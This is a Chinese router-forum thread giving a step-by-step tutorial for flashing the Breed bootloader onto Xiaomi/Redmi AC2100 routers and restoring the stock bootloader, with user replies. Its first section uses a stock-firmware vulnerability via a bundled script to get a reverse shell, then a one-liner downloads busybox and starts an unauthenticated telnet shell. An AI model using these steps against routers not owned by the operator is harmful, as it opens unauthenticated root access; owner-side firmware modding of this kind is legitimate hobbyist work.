恩山无线论坛

 找回密码
 立即注册

QQ登录

只需一步,快速开始

搜索
查看: 84209|回复: 2942

[AC2100(RM2100)] 红米/小米AC2100刷入r3g breed以及恢复官方boot详细教程(更新查坏块方法、pb-boot)

    [复制链接]
发表于 2020-5-8 21:45 | 显示全部楼层 |阅读模式
本帖最后由 ivybridgexeon 于 2020-6-30 22:44 编辑

1、首先说明,如果你现在用的是openwrt固件boot分区可能有锁建议更新最新源码编译的openwrt(新源码编译的openwrt已解除boot分区锁)。
2、如果还没刷机(用的官方固件),可以在本帖步骤“二、刷入r3gbreed”开头查坏块。如果你已经刷过机,查坏块方法详见本帖“三、刷入breed后续"。
3、lintel的专用pb-boot已出,刷入方法在“pb-boot-rm2100-Readme.txt”中。lintel的pb-boot链接http://downloads.pangubox.com:6380/lintel/Redmi_AC2100/

一、通过漏洞打开路由telnet
1:在开始菜单-设置-程序-程序和功能-启用和关闭Windows功能  勾选telnet client(或telnet 客户端)

2:从“控制面板\网络和 Internet\网络连接”把你的所有不相关的网络接口都禁掉包括虚拟机接口修改连接路由器的网口地址为192.168.31.177,子网掩码255.255.255.0,默认网关192.168.31.1。

3:关闭所有杀毒软件关闭防火墙,解压好刷机工具中的breed教程完整版.zip
打开/rm2100文件夹,先安装文件夹里的WinPcap_4_1_3.exe或者npcap-0.9991.exe
之后打开 开启telnet命令.txt一键开启telnet.bat(不用管理员运行)
提前复制好开启telnet命令.txt里面的内容


4:进入路由器,确保路由地址为192.168.31.1,修改好pppoe的账号密码。
账号:123
密码:123
把你的路由器按照如下连接
批注 2020-05-08 203516.png

5:执行一键开启telnet.bat,按提示操作,直到反弹shell窗口显示收到数据。

6:把前面复制的
  1. cd /tmp&&wget http://192.168.31.177:8081/busybox&&chmod a+x ./busybox&&./busybox telnetd -l /bin/sh
复制代码

粘贴到反弹shell窗口(右键为粘贴),回车运行
至此,路由器telnet功能成功开启

卡反弹shell等问题大概率是电脑系统、防火墙、杀毒软件造成的,如果开telnet你这一步没有成功,就彻底关掉电脑防火墙和杀毒软件(系统建议用win10正版最新),
然后删掉之前文件,关闭所有进程重新解压breed教程完整版.zip再从头走一遍。


注意:路由telnet开启成功后记得把WAN-LAN之间的网线(上面接线图棕色线)拔掉,否则刷入breed后易造成网络风暴。


二、刷入r3gbreed

【从原厂固件】

Win+R ,输入cmd回车打开命令行(也可以用puttyxshell),
  1. telnet 192.168.31.1
复制代码
  1. cd /tmp
复制代码
查看坏块的命令是(分析见下文)
  1. dmesg | grep NAND
复制代码
  1. dmesg | grep '[B|b]ad.*block'
复制代码
  1. dmesg | grep eraseblock
复制代码

查看路由当前分区的命令是
  1. cat /proc/mtd
复制代码
批注 2020-05-08 140101.png

想要备份路由原厂分区的,可以先在电脑以管理员权限运行/rm2100中的 ftpdmin.exe之后回到telnet命令行

例如:想备份mtd1分区,就在命令行输入
  1. ./busybox nanddump -f mtd1.bak /dev/mtd1
复制代码
  1. ./busybox ftpput 192.168.31.177 mtd1.bak ./mtd1.bak
复制代码


备存文件存在你rm2100文件所在的硬盘根目录。不想备份也可以,我给的文件中有mtd1和eeprom的备份。



注意此时“Task_文件服务器”进程是否还在运行,没运行的再执行一下/rm2100中的httpserver.bat)备份之后,执行
  1. wget http://192.168.31.177:8081/breed-mt7621-xiaomi-r3g.bin&&nvram set uart_en=1&&nvram set bootdelay=5&&nvram set flag_try_sys1_failed=1&&nvram commit
复制代码
  1. mtd -r write breed-mt7621-xiaomi-r3g.bin Bootloader
复制代码

将电脑改为自动获取ip,等待路由器重启(当电脑获取到ip或者路由只有一个蓝灯亮时,breed引导官方固件成功)。

建议等待5分钟后拔电,用牙签按住reset键再插电,等蓝灯闪烁,松开reset键,浏览器访问192.168.1.1即可进入breedweb界面。
首次进入breed记得先备份下编程器固件和eeprom。

至此,路由器成功刷入breed。

【从padavan】

批注 2020-05-12 100452.png
winscpbreed-mt7621-xiaomi-r3g.bin 传入padavan的/tmp文件夹,
(winscp 就是路由器的可视化文件管理器,跟ftp的用法一样,填好路由ip地址,账号密码就登进去了,然后打开/tmp,把breed文件从电脑拖进去)

xshell、puttytelnet命令行登录padavan,执行
  1. cd /tmp
复制代码

备份:
  1. cat /proc/mtd
复制代码
批注 2020-05-09 085235 (2).png
  1. cat /dev/mtdblock0 > /tmp/mtd0.bak
复制代码
winscp/tmp/mtd0.bak文件传回电脑。


刷写breed:
  1. mtd_write -r write breed-mt7621-xiaomi-r3g.bin Bootloader
复制代码

将电脑改为自动获取ip,等待路由器重启(当电脑获取到ip或者路由只有一个蓝灯亮时,breed引导padavan固件成功)。

建议等待5分钟后拔电,用牙签按住reset键再插电,等蓝灯闪烁,松开reset键,浏览器访问192.168.1.1即可进入breedweb界面。
首次进入breed记得先备份下编程器固件和eeprom。

至此,路由器成功刷入breed。

三、刷入breed后续

如果你刷完后进了小米官方的系统或者进不了系统,可以尝试进入breed后增加环境变量 xiaomi.r3g.bootfw,值为2 。 参考 https://www.right.com.cn/forum/thread-4023403-1-2.html

对breed操作不太明白的可以看hackpascal大佬的原贴 https://www.right.com.cn/forum/forum.php?mod=viewthread&tid=161906

推荐一下chongshengB大佬的padavan固件 https://github.com/chongshengB/rt-n56u/releases
刷入openwrt有问题的可以参考 https://www.right.com.cn/forum/thread-4025861-1-1.html
集客0512版本可从breed直接刷入,参考 https://www.right.com.cn/forum/thread-4021056-1-1.html

0511最新消息,部分红米路由从breed刷入padavan会卡33%校验失败,经过我的研究,有这种情况的路由闪存不太寻常。     



确认闪存坏块分为两步
第一步,翻路由的系统日志或内核日志,一般坏块信息在路由刚启动时的日志附近。如老毛子:
批注 2020-05-11 231627.png

第二步,telnet(或使用xshellputty)登录进路由,依次执行
  1. dmesg | grep NAND
复制代码
  1. dmesg | grep '[B|b]ad.*block'
复制代码
  1. dmesg | grep eraseblock
复制代码

会有四种情况:  


1、执行指令没有返回任何信息,翻日志也没找到任何闪存相关信息,重启下路由再找一次。

2、执行返回信息中有ESMT字样,翻日志也没有显示坏块信息的是ESMT闪存,没有检测到坏块。


3、较为正常东芝闪存返回信息:坏块768。但刷固件一切正常。目前我刷过几十次固件,坏块暂时还没有增加。
批注 2020-05-11 153209.png

4、是东芝闪存而且有问题的路由返回信息如图,坏块90+768,根据调查“90”这个数字还有其他值,推测跟东芝闪存体质有关。
东芝和ESMT用的都是SLC闪存(寿命最长的闪存),而且不少机器只开telnet,不刷固件或breed也出现坏块,所以坏块应该不是刷机造成的,是东芝闪存生产出来自带的(质量参差不齐)。 photo_2020-05-11_15-17-10.jpg
目前有两种推测:
(1)坏块位置比较靠后,官方固件只用到了前面一部分如kernel0,所以官方固件不影响使用。
(2)官方和op固件屏蔽闪存坏块的机制较为完善(类似u盘量产的时候屏蔽坏块),所以官方和部分op固件可以正常使用。
padavan固件会用到有的坏块区域,如kernel1,所以有的机器不能刷入padavan,或者刷入后使用有问题。




原厂bootloader关于badblock、ECC、NAND的相关描述,自行参考
批注 2020-05-12 140211.png
批注 2020-05-12 140318.png









FireShot Capture 002 - Breed Web 恢复控制台 - 192.168.1.1_LI.jpg

目前已知红米路由闪存有东芝和ESMT两种,breed均正常启动。
批注 2020-05-09 005115.jpg     183237w34noomc56n6oc6z.png



四、刷回官方bootloader方法

我写这个教程的原因之一就是恢复官方boot的操作经验证可行,如果你不想用第三方固件,要刷回官方固件,稳妥的操作顺序是先恢复官方boot引导文件,再用官方救砖工具一键刷回。

刷回方法

1、从breed  

根据最新测试,从breed界面“固件更新”-“Bootloader”选择官方bootloader文件直接上传并刷写可行。


官方bootloader文件位置:
打开/rm2100
红米用bootloader-redmi-ac2100.bin
小米用bootloader-xiaomi-ac2100.bin


路由重启后用官方救砖工具可刷回原厂。具体步骤和资源请参考:
小米路由官方救砖工具使用说明 https://www.xiaomi.cn/post/5289432
小米路由官方资源下载首页 http://miwifi.com/miwifi_download.html



2、从padavan固件:


【红米】将/rm2100文件夹中的bootloader-redmi-ac2100.bin通过winscp上传到路由/tmp目录下,
xshell、puttytelnet命令行进老毛子,执行
  1. mtd_write -r write /tmp/bootloader-redmi-ac2100.bin Bootloader
复制代码


【小米】将bootloader-xiaomi-ac2100.bin通过winscp上传到路由/tmp目录,
执行
  1. mtd_write -r write /tmp/bootloader-xiaomi-ac2100.bin Bootloader
复制代码



路由重启后用官方救砖工具可刷回原厂。具体步骤和资源请参考:
小米路由官方救砖工具使用说明 https://www.xiaomi.cn/post/5289432
小米路由官方资源下载首页 http://miwifi.com/miwifi_download.html


3、从openwrt固件:
批注 2020-05-12 1004521111.png
由于部分op的boot分区有锁,建议最好还是先从breed刷入老毛子再按上文恢复官方
如果想试试,就按上文老毛子的方法导入bootloader文件,执行
【红米】
  1. mtd -r write /tmp/bootloader-redmi-ac2100.bin Bootloader
复制代码


【小米】
  1. mtd -r write /tmp/bootloader-xiaomi-ac2100.bin Bootloader
复制代码



五、小米/红米AC2100专用pb-boot
lintel的专用pb-boot已出,刷入方法在“pb-boot-rm2100-Readme.txt”中。lintel的pb-boot链接http://downloads.pangubox.com:6380/lintel/Redmi_AC2100/




最后提醒:刷机须谨慎,后果自负




hackpascal大佬的原贴https://www.right.com.cn/forum/forum.php?mod=viewthread&tid=161906
r3gbreed下载链接 https://breed.hackpascal.net/breed-mt7621-xiaomi-r3g.bin

官方原厂bootloader备份 https://www.right.com.cn/forum/thread-4023403-1-2.html
感谢https://www.right.com.cn/forum/thread-4016985-1-1.html提供的win平台一键脚本
引用下教程https://www.right.com.cn/forum/thread-4017726-1-1.html
刷入r3gbreed的创意来自https://4pda.ru/forum/index.php?showtopic=975687&st=1580#entry96288010
刷入方法由一位越南朋友带来论坛https://www.right.com.cn/forum/thread-4022855-1-4.html



小米官方救砖工具使用说明 https://www.xiaomi.cn/post/5289432
小米官方资源下载首页 http://miwifi.com/miwifi_download.html

小米官方救砖工具下载 http://bigota.miwifi.com/xiaoqiang/tools/MIWIFIRepairTool.x86.zip
红米原厂固件下载 http://cdn.cnbj1.fds.api.mi-img. ... re_d517e_1.0.14.bin
小米原厂固件下载 http://bigota.miwifi.com/xiaoqia ... e_64288_2.0.376.bin


推荐一下xshell下载地址,对个人免费 https://www.netsarang.com/zh/free-for-home-school 。  

winscp下载 https://winscp.net/download/WinSCP-5.17.5-Setup.exe
putty下载 https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe





【完整版】蓝奏云:https://lanzous.com/icgyl1e    GDhttps://drive.google.com/file/d/ ... sF/view?usp=sharing
【单独文件】https://lanzous.com/icgyjub
【官方下载的xshell、winscp、putty】 https://lanzous.com/icgsv3a     
【有消息说小米会修复漏洞,备份下当前原厂固件】 https://lanzous.com/icgst5a













pb-boot-rm2100.rar

147.12 KB, 下载次数: 682

点评

你说的很对,我赞同你的说法。: 3.8 退一步豪阔天空,我还是不说了吧。: 0.0
你说的很对,我赞同你的说法。: 5
恩山大佬真的恩重如山  发表于 2020-6-20 19:14
你说的很对,我赞同你的说法。: 0
麻烦问一下我开完telete之后忘了拔wan和lan的线刷的r3g现在不敢往下走了 有什么补救措施么  发表于 2020-5-18 13:15
你说的很对,我赞同你的说法。: 5
  发表于 2020-5-15 08:29
你说的很对,我赞同你的说法。: 5 退一步豪阔天空,我还是不说了吧。: 0
刷入r3g的breed,中文破解刚出当天,h大群里就有人弄过了。只不过因为有小米boot loader,方便保修,群里都没人弄。  发表于 2020-5-9 01:11

评分

参与人数 45恩山币 +47 收起 理由
zpsr1a + 1 感谢你的分享,无论怎样,你都是最无私的人!来,说说,你E盘上还有啥一起给我吧!
腐蚀星砂 + 1 生活不易,相遇也不易,既然这样,让我们成为朋友一起面朝大海、花开花落……
住隔壁的小明 + 1 强大的恩山!(以下重复1万次)
酱紫的吗 + 1 面对这种帖子,我内心复杂,真不知道说什么好……
zhoubinxxx + 1 感谢你的分享,无论怎样,你都是最无私的人!来,说说,你E盘上还有啥一起给我吧!
jonsonpay + 1 不要怂、就是干!
vicclin + 1 感谢你的分享,无论怎样,你都是最无私的人!来,说说,你E盘上还有啥一起给我吧!
三个城管 + 1 感谢你的分享,无论怎样,你都是最无私的人!来,说说,你E盘上还有啥一起给我吧!
zhs4002 + 1 下载链接挂了,麻烦更新下啊。。。。急死我了
a980103 + 1 How ever,this is JB useful!
wqwzd + 1 风清云淡、飘逸悠然……极爽!
eisweetwf + 1 大佬牛皮
mj51962 + 1 感谢你的分享,无论怎样,你都是最无私的人!来,说说,你E盘上还有啥一起给我吧!
ZTSD + 1 别光喝酒啊,吃菜吃菜~~~
luchangying + 1 别光喝酒啊,吃菜吃菜~~~
luckyangman + 1 感谢你的分享,无论怎样,你都是最无私的人!
fang891227 + 1 感谢你的分享,无论怎样,你都是最无私的人!来,说说,你E盘上还有啥一起给我吧!
zhlmm19971128 + 1 几亿网民,我们俩竟然神奇的在恩山相遇了!来,1分也是分!
sunny110 + 1 感谢你的分享,无论怎样,你都是最无私的人!来,说说,你E盘上还有啥一起给我吧!
西天很好玩 + 1 感谢你的分享,无论怎样,你都是最无私的人!来,说说,你E盘上还有啥一起给我吧!
ldgm + 1 感谢大神分享,可是刷机工具下载链接是不是失效?下载不了了
493Arceus + 1 感谢你的分享,无论怎样,你都是最无私的人!
zfeng998 + 1 几亿网民,我们俩竟然神奇的在恩山相遇了!来,1分也是分!
fengwang35 + 1 感谢你的分享,无论怎样,你都是最无私的人!来,说说,你E盘上还有啥一起给我吧!
SkyTiger + 1 感谢你的分享,无论怎样,你都是最无私的人!来,说说,你E盘上还有啥一起给我吧!
bolidechen + 1 我居然没选点评的分数。。。。这边加上吧。。。
taoyouyou + 1 兄弟,你肥皂又掉了…
cptvirus + 1 感谢你的分享,无论怎样,你都是最无私的人!来,说说,你E盘上还有啥一起给我吧!
电击大师杨永信 + 2 送你一块“恩山”牌肥皂,喏,就在你脚下、捡一下吧……
hai_wifi + 1 强大的恩山!(以下重复1万次)
lowestman + 1 感谢你的分享,无论怎样,你都是最无私的人!来,说说,你E盘上还有啥一起给我吧!
Leonzzz + 1 感谢你的分享,无论怎样,你都是最无私的人!来,说说,你E盘上还有啥一起给我吧!
1565588753 + 1 感谢你的分享,无论怎样,你都是最无私的人!来,说说,你E盘上还有啥一起给我吧!
1846181866 + 1 感谢你的分享,无论怎样,你都是最无私的人!来,说说,你E盘上还有啥一起给我吧!
bingoguo + 1 面对这种帖子,我内心复杂,真不知道说什么好……
blh0099 + 1 感谢你的分享,无论怎样,你都是最无私的人!来,说说,你E盘上还有啥一起给我吧!
virus1999 + 1 感谢你的分享,无论怎样,你都是最无私的人!来,说说,你 E 盘上还有啥一起给我吧!
过两天 + 1 赢了会所嫩模,赔了回家蒸馍!
dovehenlei + 1 感谢你的分享,无论怎样,你都是最无私的人!来,说说,你E盘上还有啥一起给我吧!
jzhf + 1 感谢大佬!
墨守成规_ + 1 很快就有一键breed了,感谢大佬们的辛苦付出
love香 + 2 我就知道恩山人才齐齐
WertherJones + 1 哈哈,终于来了
33415790 + 1 感谢你的分享,无论怎样,你都是最无私的人!来,说说,你E盘上还有啥一起给我吧!
q2844332 + 1 感谢你的分享,无论怎样,你都是最无私的人!来,说说,你E盘上还有啥一起给我吧!

查看全部评分

我的恩山、我的无线 The best wifi forum is right here.
 楼主| 发表于 2020-5-11 09:48 来自手机 | 显示全部楼层
本帖最后由 ivybridgexeon 于 2020-5-12 21:29 编辑


相关问题讨论群: 323291686
电报: https://t.me/RM2100



我的恩山、我的无线 The best wifi forum is right here.
发表于 2020-5-12 21:01 | 显示全部楼层
重新搞了下,经测试无线有些均正常。pb boot用的http://downloads.pangubox.com:63 ... 0190317-61b6d33.img
对应固件是
https://sssddddff.lanzous.com/icjarsb

点评

我明天上午试一下,先帮你置顶  详情 回复 发表于 2020-5-12 21:16
iwo
请教,我现在刷的是恩友你的Padavan5.4,你下面这贴还更新吗,是升到这贴的5.7 还是这里的pb-boot [2020-05-07]padavan适配红米AC2100,更新单网卡视频刷机教程  详情 回复 发表于 2020-5-12 21:08
我的恩山、我的无线 The best wifi forum is right here.
发表于 2020-5-8 21:48 | 显示全部楼层
前排帮顶,有了breed绝对会可玩性大增
我的恩山、我的无线 The best wifi forum is right here.
发表于 2020-5-8 21:49 | 显示全部楼层
火钳刘明,啦啦啦啦
我的恩山、我的无线 The best wifi forum is right here.
发表于 2020-5-8 21:51 | 显示全部楼层
顶顶楼主 分享经验
我的恩山、我的无线 The best wifi forum is right here.
发表于 2020-5-8 21:52 | 显示全部楼层
感谢分享 学习一下
我的恩山、我的无线 The best wifi forum is right here.
发表于 2020-5-8 21:52 来自手机 | 显示全部楼层
顶顶顶,火钳刘明
我的恩山、我的无线 The best wifi forum is right here.
发表于 2020-5-8 21:52 | 显示全部楼层
不错不错!!!!!!!!
我的恩山、我的无线 The best wifi forum is right here.
发表于 2020-5-8 21:53 | 显示全部楼层
感恩,谢谢楼主分享
我的恩山、我的无线 The best wifi forum is right here.
发表于 2020-5-8 21:53 | 显示全部楼层
666666这么快就有breed了
我的恩山、我的无线 The best wifi forum is right here.
发表于 2020-5-8 21:54 | 显示全部楼层
感谢你的分享,无论怎样,你都是最无私的人!来,说说,你E盘上还有啥一起给我吧!
我的恩山、我的无线 The best wifi forum is right here.
发表于 2020-5-8 21:54 | 显示全部楼层
这下牛逼了,【老毛子Padavan固件  可以打开打开路由telnet,是不是可以直接在Padavan固件基础上自己刷入breed

点评

大佬 请问 可以直接在Padavan固件基础上自己刷入breed吗?你尝试了吗?我是因为breed刷不进去,路由变砖了,刷回官方固件后直接刷的老毛  详情 回复 发表于 2020-6-1 20:57
我的恩山、我的无线 The best wifi forum is right here.
发表于 2020-5-8 21:54 | 显示全部楼层
新方法试试。
我的恩山、我的无线 The best wifi forum is right here.
发表于 2020-5-8 21:54 | 显示全部楼层
有了breed绝对会可玩性大增
我的恩山、我的无线 The best wifi forum is right here.
发表于 2020-5-8 21:55 来自手机 | 显示全部楼层
已刷老毛子的必须救砖后才能刷?
我的恩山、我的无线 The best wifi forum is right here.
发表于 2020-5-8 21:56 | 显示全部楼层
机器晚到一天,连这都有了
我的恩山、我的无线 The best wifi forum is right here.
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|手机版|小黑屋|Archiver|恩山无线论坛(常州市恩山计算机开发有限公司版权所有) ( 苏ICP备05084872号 )|网站地图

GMT+8, 2020-7-10 04:59

Powered by Discuz! X3.4

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表